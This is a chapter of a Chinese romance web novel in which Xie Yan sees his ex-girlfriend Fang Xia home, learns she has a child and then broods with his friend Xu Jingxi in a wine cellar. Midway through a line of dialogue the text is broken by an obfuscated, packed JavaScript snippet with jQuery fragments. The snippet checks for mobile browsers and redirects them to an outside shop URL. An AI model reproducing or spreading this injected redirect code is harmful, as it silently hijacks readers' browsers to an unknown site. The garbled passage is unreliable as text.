“滋滋——”
手机突兀的震动起来,方夏眼睫轻颤,梦境破碎,意识被瞬间拉回现实。
她缓了缓,拿起手机查看消息,是郭乔发来的,说是晚上晚点回。
方夏回了个OK。
接着她看了眼时间,现在才晚上八点二十三,车窗外的街景已经距离翠湖小区很近了,她睡了不到二十分钟。
转头看向旁边的谢砚,刚转头就撞上进一双漆黑深邃的眼眸。
车内关了灯,车窗路灯光影透过玻璃斑驳洒在他的侧脸上,明暗交错间,他的眼神显得愈发深沉,像是一汪潭。
两人目光就这样在空中僵持了一瞬。
看着这张脸,方夏想,谢砚的确是很能拿得出手的前任,就算不提他的家世,光是这张脸就已经值回票价。
当初跟谢砚确定关系后,方夏向他打听过前任,却没想到谢砚说她是第一任。
方夏当时第一反应就是他在撒谎,毕竟大学里她见过模样帅气的男学生被一众女生追求,更别说谢砚这般无论长相还是家世都出众的男人。
谢砚这样的条件,身边肯定不乏莺莺燕燕,怎么可能没有过恋爱经历。
但后面在一起久了,从他身边朋友口中也证实了这一点,方夏这才相信她的确是谢砚的初恋。
很公平,他也是她谈的第一个。
谢砚率先打破了沉默,“我还以为你要睡到天亮。”
方夏挪开了目光,望向车窗外,轻声说:“你的车太舒服,我还做了个梦。”
他问,“什么梦。”
方夏:“忘了。”
拐过下个路口,便到了翠湖小区。
车在路边停稳后,司机下车为方夏打开车门,待方夏准备下车时,谢砚吩咐司机去拿包裹。
谢砚随方夏一同下车,司机匆匆拿着一个包装精致的袋子走来,是经典橙色包装,颜色鲜艳不失高雅,袋子质感挺括,表面有细腻的纹理。
司机双手递去,谢砚接过后,转手送给了方夏。
方夏看着袋子,唇角微翘。
“是我想要的颜色吗?”
“打开看不就知道了。”
“不了,回去在开吧。”
方夏接过袋子,往前小区门口走了两步,似改变了主意,转头问:“要送我上楼吗?”
这是个充满暗示的邀请。
谢砚几乎没有丝毫犹豫,比声音更快的是他往前迈的腿。
“好啊。”
他走到她身旁,自然接过方夏手里的包装袋,一同进了小区。
翠湖小区绿化区域非常好,步入其中,便见行道树树干粗壮,枝叶繁茂,夜风拂过带来一丝淡淡的草木清香。
一起进入单元楼,方夏去摁了电梯。
进入轿厢后,谢砚说道:“这个小区的环境还不错。”
方夏摁楼层,回答:“嗯,当时选这里就是看中绿化好,离公司近。”
楼层匀速上升,方夏拿出手机淡定刷资讯。
谢砚看着上升的楼层心里却有些莫名的口燥,微微侧头看向身旁的方夏,碎发别在耳后,小巧莹白的耳垂下,他的视角一眼就看见了那颗痣。
他喜欢吻那处,情浓时更是。
脑海中似乎回忆起了前几日在酒店的那次,仿若做梦一般。
“叮——”
电梯门缓缓打开。
方夏率先踏出电梯,往左侧走去,谢砚跟在身后。
指纹解锁后,方夏开了门,屋里的郭若趴在沙发睡着了,听见了开门声,还以为是郭乔回来了,从沙发上跳下来撒丫子一边跑一边喊——
“妈妈……”
方夏朝着郭若的方向望去,尚未等她跑过来时,转头从门口谢砚的手里拿过爱马仕包装袋,对他说:“谢了,早点回家睡觉吧。”
接着砰的一声,门关上了。
谢砚宛若石化一般,看着紧闭的大门,心中满是无措跟排山倒海般的震惊。
她有孩子了?
她居然有孩子了?
-
二十分钟后,谢砚出现在了徐敬西的别墅地下酒窖里,开了一瓶1870年的轩尼诗百乐廷干邑。
徐敬西接到家政的电话,开车赶了过去。
谢砚这人不爱喝酒,一喝起来就不要命。
上一次出现在酒窖,还是四年前跟方夏分手那次。
谢砚在酒窖呆了一周,喝了酒就给方夏打电话,边哭边打,看着像一条没人要的狗。
那次是真的把徐敬西喝肉痛了,要不是发小的关系,徐敬西真想把他撵出去。
他劝他放下,为了那种只爱钱的女人不值得。
并且徐敬西还帮谢砚想了很多办法,让方夏拿不到钱,人财两空。
比如去银行挂失止付,可谢砚没这样去做,并且还阻止了他妈这样去做。
这次谢砚又来了酒窖,想必事情不会比上次小。徐敬西有预感,怕是又跟方夏有关系。
赶到别墅,徐敬西直接去了地下室。
刚下来,就闻到了一股浓郁的酒香,谢砚坐在桌旁,徐敬西扫了眼桌子,桌面除了那瓶1870年的轩尼诗百乐廷干邑,没开其他酒。
没出现他不想看见的画面,徐敬西悄悄松了口气。
他走到谢砚身旁坐下,拍了拍他的肩,故作轻松道:“兄弟,想喝酒不叫我?”
谢砚手里端着半杯酒,眼神中满是颓然,但好在还算清醒。
他晃了晃手中的酒杯,琥珀色的液体在杯壁上留下一道道痕迹,低哑的声音说:“结束了。”
徐敬西从架上取了一个酒杯也给自己倒了点,刚倒上就听见谢砚这话,他愣了下,问:“什么结束了?”
“我跟方夏。”
“你俩不是早就结束了吗,你还没对她死心呢。”
四年前谢砚跟方夏分手在酒窖待了一周,从酒窖出去后就跟个没事人一样了。
圈里的人都以为谢砚是走出来了,毕竟被这样的女人恶心了一遍,岂不是跟吃了苍蝇一样,怎么可能还放不下,不憎恨报复就算是仁慈。
虽然跟方夏分手之后,谢砚再也没谈过其他女人。
但想一想也情有可原。
毕竟第一次谈恋爱就遇到个这样的,对女人有心理阴影也正常。
但徐敬西听谢砚这意思,他居然还没放下,还在心里偷偷把那女人藏在心里了四年。
谢砚仰头将杯中的酒一饮而尽,随后把酒杯重重地放在桌上,发出清脆的响声。
“不一样,之前我还抱有希望,觉得我们或许还有可能重新开始。可现在……彻底没可能了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310666|198822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
哪怕方夏是为了钱才跟他在一起,拿了钱就可以毫不犹豫离开他的身边,但谢砚还是觉得他们还有可能。
毕竟方夏手里的钱有用完的时候,他总觉得迟早还有机会。
徐敬西问:“什么意思?你俩咋了?”
谢砚:“她在美国生孩子了。”
这话在徐敬西的耳里就像是我是个男人那么正常。
就方夏那种贪财爱慕虚荣的女人,别说生孩子了,就算是二婚了,那也一点不意外。
徐敬西喝了口酒,说:“像她那种女人,什么做不出来?再说都过去四年了,生了孩子也不奇怪。”
谢砚眉心紧锁,眼底翻涌着复杂的情绪,“不知道她在美国找了个什么男人,能让她甘愿生孩子。”
当初在一起的时候,方夏说过她很怕疼,如果真有一天她愿意生孩子了,肯定是非常爱那个人,她才愿意。
话又说回来了,若那男人真的爱她,又怎么舍得她去经历生死一遭。
谢砚不舍得。
而她在美国却甘愿了。
想到这,他的心里就一阵刺痛。
徐敬西看谢砚一脸失魂落魄的样子,手搭在他的肩上,宽慰道:“那男的肯定没你好,放心吧。”
“为什么?”
“她都带着孩子回国了,却没带着那男人回来,这一看就是他们俩闹掰了,如果那个男人对她很好,他们又怎么可能闹掰呢。”
听言,谢砚缓缓转头看着徐敬西,静待下文。
徐敬西接着又说:“而且方夏现在回来了,保不准是又想来钓你,上次慈善宴会上,我一看她看你的眼神就不怀好意,说不定是想跟你旧情复燃,让你当接盘侠呢。”
“阿砚,你听我说,你可千万别上她的当。”
谢砚顿时恍然大悟,“原来她是这个意思。”
徐敬西:“啊?”
谢砚:“你刚才不就是这个意思吗,她是专门带着孩子回来找我的。”
徐敬西:“……她过得不好,也只能找你了。”
除了你,还有哪个冤大头会上她得当。
谢砚:“她一定还喜欢我,她之前还找我要了个包。”
徐敬西听傻了,咽下去的酒差点咳出来,“你为什么会这样想?”
谢砚:“那不然她为什么就找我要,不找别的男人要呢。”
哇靠,这个理论简直强得没边。
徐敬西还是第一次见这么新奇的脑回路,一时间他被噎到说不出话来。
谢砚又倒了一些酒,语气中充满怜惜,说:“她怎么这么傻,被男人骗生了个孩子。”
徐敬西:“???”
那可是当初骗了四千万远走他乡的方夏,她不骗其他男人就不错了,怎么可能还会被其他男人骗。
如果她还傻,这个世界上就没有蠢人了。
就见谢砚仰头将酒杯里的酒一口喝完,仿佛下了莫大的决心。
“她一个人带着孩子,肯定过得很不好,如果我不要她,她肯定很难过。”
说完这话,谢砚放下酒杯,拿起桌面的手机,对徐敬西说:“谢了,兄弟。”
然后他离开了酒窖。
徐敬西愣住,反应过来赶紧追了出去。
“不是,阿砚,阿砚……”